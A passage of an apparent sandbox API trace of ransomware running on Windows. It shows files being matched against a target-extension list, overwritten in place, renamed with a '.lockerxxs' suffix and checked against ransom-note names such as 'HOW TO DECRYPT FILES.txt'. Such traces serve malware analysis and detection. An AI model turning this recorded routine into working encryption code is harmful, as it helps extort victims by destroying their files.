Files\\Low\\Content.IE5\\YG1R61Z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg." [0083.857] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg.lockerxxs" [0083.857] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0083.859] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x7f7e [0083.859] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xbe967230, dwHighDateTime=0x1d2faf2), lpLastAccessTime=0x407536*(dwLowDateTime=0xbe967230, dwHighDateTime=0x1d2faf2), lpLastWriteTime=0x40753e*(dwLowDateTime=0xbe9b34f0, dwHighDateTime=0x1d2faf2)) returned 1 [0083.859] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.859] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x7f58, lpOverlapped=0x0) returned 1 [0083.862] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg") returned="0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg" [0083.862] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.862] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x7f58, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x7f58, lpOverlapped=0x0) returned 1 [0083.862] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0083.863] CloseHandle (hObject=0xa4) returned 1 [0083.863] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg.lockerxxs")) returned 1 [0083.864] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54a20810, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54a20810, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54a46970, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xc05f, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="26158[1].png", cAlternateFileName="26158_~1.PNG")) returned 1 [0083.865] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.865] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="26158[1].png") returned 1 [0083.865] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="26158[1].png") returned 1 [0083.865] lstrcmpiA (lpString1="", lpString2="26158[1].png") returned -1 [0083.865] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg") returned="0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg" [0083.865] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0083.865] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0083.865] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0083.865] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0083.865] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="26158[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\26158[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\26158[1].png" [0083.865] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\26158[1].png", pszSpec="*.ems") returned 0 [0083.865] lstrlenA (lpString="*.ems") returned 5 [0083.865] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\26158[1].png", pszSpec="*.db") returned 0 [0083.866] lstrlenA (lpString="*.db") returned 4 [0083.866] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\26158[1].png", pszSpec="*.dbf") returned 0 [0083.866] lstrlenA (lpString="*.dbf") returned 5 [0083.866] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\26158[1].png", pszSpec="*.myox") returned 0 [0083.866] lstrlenA (lpString="*.myox") returned 6 [0083.866] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\26158[1].png", pszSpec="*.myo") returned 0 [0083.866] lstrlenA (lpString="*.myo") returned 5 [0083.866] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\26158[1].png", pszSpec="*.qbw") returned 0 [0083.866] lstrlenA (lpString="*.qbw") returned 5 [0083.866] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\26158[1].png", pszSpec="*.qbb") returned 0 [0083.866] lstrlenA (lpString="*.qbb") returned 5 [0083.866] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\26158[1].png", pszSpec="*.qbm") returned 0 [0083.866] lstrlenA (lpString="*.qbm") returned 5 [0083.866] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\26158[1].png", pszSpec="*.qbo") returned 0 [0083.866] lstrlenA (lpString="*.qbo") returned 5 [0083.866] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\26158[1].png", pszSpec="*.qbx") returned 0 [0083.866] lstrlenA (lpString="*.qbx") returned 5 [0083.867] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\26158[1].png", pszSpec="*.qba") returned 0 [0083.867] lstrlenA (lpString="*.qba") returned 5 [0083.867] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\26158[1].png", pszSpec="*.qby") returned 0 [0083.867] lstrlenA (lpString="*.qby") returned 5 [0083.867] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\26158[1].png", pszSpec="*.qbj") returned 0 [0083.867] lstrlenA (lpString="*.qbj") returned 5 [0083.867] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\26158[1].png", pszSpec="*.ofx") returned 0 [0083.867] lstrlenA (lpString="*.ofx") returned 5 [0083.867] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\26158[1].png", pszSpec="*.qif") returned 0 [0083.867] lstrlenA (lpString="*.qif") returned 5 [0083.867] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\26158[1].png", pszSpec="*.mye") returned 0 [0083.867] lstrlenA (lpString="*.mye") returned 5 [0083.867] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\26158[1].png", pszSpec="*.mbox") returned 0 [0083.867] lstrlenA (lpString="*.mbox") returned 6 [0083.867] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\26158[1].png", pszSpec="*.eml") returned 0 [0083.867] lstrlenA (lpString="*.eml") returned 5 [0083.867] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\26158[1].png", pszSpec="*.pst") returned 0 [0083.867] lstrlenA (lpString="*.pst") returned 5 [0083.867] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\26158[1].png", pszSpec="*.ost") returned 0 [0083.867] lstrlenA (lpString="*.ost") returned 5 [0083.867] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\26158[1].png", pszSpec="*.idx") returned 0 [0083.867] lstrlenA (lpString="*.idx") returned 5 [0083.868] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\26158[1].png", pszSpec="*.dbx") returned 0 [0083.868] lstrlenA (lpString="*.dbx") returned 5 [0083.868] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\26158[1].png", pszSpec="*.sql") returned 0 [0083.868] lstrlenA (lpString="*.sql") returned 5 [0083.868] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\26158[1].png", pszSpec="*.mdb") returned 0 [0083.868] lstrlenA (lpString="*.mdb") returned 5 [0083.868] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\26158[1].png", pszSpec="*.fdb") returned 0 [0083.868] lstrlenA (lpString="*.fdb") returned 5 [0083.868] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\26158[1].png", pszSpec="*.wab") returned 0 [0083.868] lstrlenA (lpString="*.wab") returned 5 [0083.868] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\26158[1].png", pszSpec="*.dat") returned 0 [0083.868] lstrlenA (lpString="*.dat") returned 5 [0083.868] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\26158[1].png", pszSpec="*.txt") returned 0 [0083.868] lstrlenA (lpString="*.txt") returned 5 [0083.868] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\26158[1].png", pszSpec="*.jpeg") returned 0 [0083.868] lstrlenA (lpString="*.jpeg") returned 6 [0083.868] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\26158[1].png", pszSpec="*.jpg") returned 0 [0083.868] lstrlenA (lpString="*.jpg") returned 5 [0083.868] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\26158[1].png", pszSpec="*.png") returned 1 [0083.868] lstrlenA (lpString="*.png") returned 5 [0083.868] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\26158[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\26158[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\26158[1].png" [0083.868] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\26158[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\26158[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\26158[1].png" [0083.868] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\26158[1].png", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\26158[1].png.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\26158[1].png." [0083.868] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\26158[1].png.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\26158[1].png.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\26158[1].png.lockerxxs" [0083.869] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\26158[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\26158[1].png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0083.870] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xc05f [0083.870] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x54a20810, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x54a20810, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x54a46970, dwHighDateTime=0x1d2dd9e)) returned 1 [0083.870] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.870] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xc039, lpOverlapped=0x0) returned 1 [0083.873] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\26158[1].png") returned="26158[1].png" [0083.873] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.873] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xc039, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xc039, lpOverlapped=0x0) returned 1 [0083.874] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0083.874] CloseHandle (hObject=0xa4) returned 1 [0083.874] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\26158[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\26158[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\26158[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\26158[1].png.lockerxxs")) returned 1 [0083.875] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x458eefb0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x458eefb0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x458eefb0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x3e3, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="AA42x3V[1].png", cAlternateFileName="AA42X3~1.PNG")) returned 1 [0083.875] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.875] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AA42x3V[1].png") returned 1 [0083.875] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AA42x3V[1].png") returned 1 [0083.875] lstrcmpiA (lpString1="", lpString2="AA42x3V[1].png") returned -1 [0083.875] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\26158[1].png") returned="26158[1].png" [0083.876] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0083.876] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0083.876] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0083.876] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0083.876] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="AA42x3V[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA42x3V[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA42x3V[1].png" [0083.876] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA42x3V[1].png", pszSpec="*.ems") returned 0 [0083.876] lstrlenA (lpString="*.ems") returned 5 [0083.876] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA42x3V[1].png", pszSpec="*.db") returned 0 [0083.876] lstrlenA (lpString="*.db") returned 4 [0083.876] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA42x3V[1].png", pszSpec="*.dbf") returned 0 [0083.876] lstrlenA (lpString="*.dbf") returned 5 [0083.876] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA42x3V[1].png", 